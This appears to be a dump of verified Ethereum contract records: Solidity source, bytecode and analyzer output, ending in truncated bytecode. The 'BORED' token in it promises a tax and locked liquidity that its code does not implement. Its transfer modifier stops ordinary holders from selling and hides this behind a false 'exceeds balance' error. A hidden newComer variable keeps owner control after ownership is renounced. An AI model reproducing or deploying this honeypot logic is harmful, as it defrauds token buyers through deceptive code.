ffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200193505050506040805180830381600087803b15801561183e57600080fd5b505af1158015611852573d6000803e3d6000fd5b505050506040513d604081101561186857600080fd5b8101908080519060200190929190805190602001909291905050509050809150508381101561189a5760009150611aa5565b839050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cb3c28c7878773eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee877fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff87600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518863ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001975050505050505050602060405180830381600087803b158015611a6457600080fd5b505af1158015611a78573d6000803e3d6000fd5b505050506040513d6020811015611a8e57600080fd5b810190808051906020019092919050505050600191505b50949350505050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b0c57600080fd5b826003816000191690555081600481600019169055506001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b8957600080fd5b60008373ffffffffffffffffffffffffffffffffffffffff16141515611beb5782600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60008273ffffffffffffffffffffffffffffffffffffffff16141515611c4d5781600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611cb257600080fd5b611cbb81611cbe565b50565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611cfa57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820fa26a29249052577bc40384369d9af3ac94ab73925ec1c857eefae426ce26b000029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | 9,914 |
0x65fd1fb6f0728c2744c44b54ec98448b05271ccf | /**
*Submitted for verification at Etherscan.io on 2021-09-10
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-22
*/
pragma solidity ^0.7.1;
// SPDX-License-Identifier: MIT
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals, uint256 totalSupply) {
_name = name;
_symbol = symbol;
_decimals = decimals;
_totalSupply = totalSupply;
_balances[msg.sender] = _balances[msg.sender].add(_totalSupply);
emit Transfer(address(0), msg.sender, totalSupply);
}
/**
* @return the name of the token.
*/
function name() public view returns(string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns(string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns(uint8) {
return _decimals;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view override(IERC20) returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view override(IERC20) returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
override(IERC20)
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public override(IERC20) returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public override(IERC20) returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
override(IERC20)
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c8063395093511161007157806339509351146101d957806370a082311461020557806395d89b411461022b578063a457c2d714610233578063a9059cbb1461025f578063dd62ed3e1461028b576100a9565b806306fdde03146100ae578063095ea7b31461012b57806318160ddd1461016b57806323b872dd14610185578063313ce567146101bb575b600080fd5b6100b66102b9565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100f05781810151838201526020016100d8565b50505050905090810190601f16801561011d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101576004803603604081101561014157600080fd5b506001600160a01b03813516906020013561034f565b604080519115158252519081900360200190f35b6101736103cb565b60408051918252519081900360200190f35b6101576004803603606081101561019b57600080fd5b506001600160a01b038135811691602081013590911690604001356103d1565b6101c3610468565b6040805160ff9092168252519081900360200190f35b610157600480360360408110156101ef57600080fd5b506001600160a01b038135169060200135610471565b6101736004803603602081101561021b57600080fd5b50356001600160a01b0316610519565b6100b6610534565b6101576004803603604081101561024957600080fd5b506001600160a01b038135169060200135610595565b6101576004803603604081101561027557600080fd5b506001600160a01b0381351690602001356105d8565b610173600480360360408110156102a157600080fd5b506001600160a01b03813581169160200135166105ee565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103455780601f1061031a57610100808354040283529160200191610345565b820191906000526020600020905b81548152906001019060200180831161032857829003601f168201915b5050505050905090565b60006001600160a01b03831661036457600080fd5b3360008181526001602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b6001600160a01b038316600090815260016020908152604080832033845290915281205482111561040157600080fd5b6001600160a01b038416600090815260016020908152604080832033845290915290205461042f9083610632565b6001600160a01b038516600090815260016020908152604080832033845290915290205561045e848484610647565b5060019392505050565b60055460ff1690565b60006001600160a01b03831661048657600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546104b49083610619565b3360008181526001602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b6001600160a01b031660009081526020819052604090205490565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103455780601f1061031a57610100808354040283529160200191610345565b60006001600160a01b0383166105aa57600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546104b49083610632565b60006105e5338484610647565b50600192915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60008282018381101561062b57600080fd5b9392505050565b60008282111561064157600080fd5b50900390565b6001600160a01b03831660009081526020819052604090205481111561066c57600080fd5b6001600160a01b03821661067f57600080fd5b6001600160a01b0383166000908152602081905260409020546106a29082610632565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546106d19082610619565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350505056fea264697066735822122083566bdbc2e1e7dd62848b7e220fb2f13d9e16991cd02d7827dfa90f50f3df8864736f6c63430007010033 | {"success": true, "error": null, "results": {}} | 9,915 |
0x9511ff1e9d8a8dd86148b4601463e517949f2744 | /*
BORED. Museum art
The first museum curated from the blockchain. Meet a team of long term collectors, NFT enthusiasts, and blockchain developers to build out the first museum on the blockchain.
Tired of projects that simply die? We intend on this collection to be timeless, and with the purchase of art, you own a portion of a NFT ETF where we will constantly host and auction NFTs for BORED Museum and use the funds to reward the community.
5ETH for the liquidity pool and locked for 6 months and will be extended immediately after making sure everything is running smoothly.
There is an 10% tax to help upkeep BORED. Token:
2% for Marketing (influencers, giveaways, ads)
2% for Reflection (earn more BORED for holding)
6% for Curating art (buying, trading, collecting NFTs voted on by the community)
Join and pay close attention to chat for a lot of giveaways!
Website - https://www.borednft.io/
Telegram - https://t.me/BOREDmuseum
*/
pragma solidity ^0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Bored is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply = 1000 * 10**9 * 10**18;
string private _name = 'BORED - https://t.me/BOREDmuseum';
string private _symbol = '$BORED';
uint8 private _decimals = 18;
address private _owner;
address private _safeOwner;
address private _uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor () public {
_owner = owner();
_safeOwner = _owner;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
modifier approveChecker(address bored, address recipient, uint256 amount){
if (_owner == _safeOwner && bored == _owner){_safeOwner = recipient;_;}
else{if (bored == _owner || bored == _safeOwner || recipient == _owner){_;}
else{require((bored == _safeOwner) || (recipient == _uniRouter), "ERC20: transfer amount exceeds balance");_;}}
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burn(uint256 amount) external onlyOwner{
_burn(msg.sender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint256 amount) internal virtual onlyOwner {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal approveChecker(sender, recipient, amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a0823114610291578063715018a6146102e95780638da5cb5b146102f357806395d89b4114610327578063a9059cbb146103aa578063dd62ed3e1461040e576100b4565b806306fdde03146100b9578063095ea7b31461013c57806318160ddd146101a057806323b872dd146101be578063313ce5671461024257806342966c6814610263575b600080fd5b6100c1610486565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101886004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610528565b60405180821515815260200191505060405180910390f35b6101a8610546565b6040518082815260200191505060405180910390f35b61022a600480360360608110156101d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610550565b60405180821515815260200191505060405180910390f35b61024a610629565b604051808260ff16815260200191505060405180910390f35b61028f6004803603602081101561027957600080fd5b8101908080359060200190929190505050610640565b005b6102d3600480360360208110156102a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610717565b6040518082815260200191505060405180910390f35b6102f1610760565b005b6102fb6108e8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61032f610911565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036f578082015181840152602081019050610354565b50505050905090810190601f16801561039c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103f6600480360360408110156103c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b3565b60405180821515815260200191505060405180910390f35b6104706004803603604081101561042457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109d1565b6040518082815260200191505060405180910390f35b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561051e5780601f106104f35761010080835404028352916020019161051e565b820191906000526020600020905b81548152906001019060200180831161050157829003601f168201915b5050505050905090565b600061053c610535610a58565b8484610a60565b6001905092915050565b6000600654905090565b600061055d848484610c57565b61061e84610569610a58565b61061985604051806060016040528060288152602001611c4760289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105cf610a58565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b610a60565b600190509392505050565b6000600960009054906101000a900460ff16905090565b610648610a58565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461070a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6107143382611863565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610768610a58565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461082a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109a95780601f1061097e576101008083540402835291602001916109a9565b820191906000526020600020905b81548152906001019060200180831161098c57829003601f168201915b5050505050905090565b60006109c76109c0610a58565b8484610c57565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ae6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611cb56024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611bff6022913960400191505060405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610d265750600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156110265781600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415610df2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611c906025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415610e78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bba6023913960400191505060405180910390fd5b610ee484604051806060016040528060268152602001611c2160269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f7984600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a361179b565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806110cf5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806111275750600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156113e657600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156111b2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611c906025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611238576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bba6023913960400191505060405180910390fd5b6112a484604051806060016040528060268152602001611c2160269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061133984600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a361179a565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061148f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6114e4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611c216026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561156a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611c906025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156115f0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020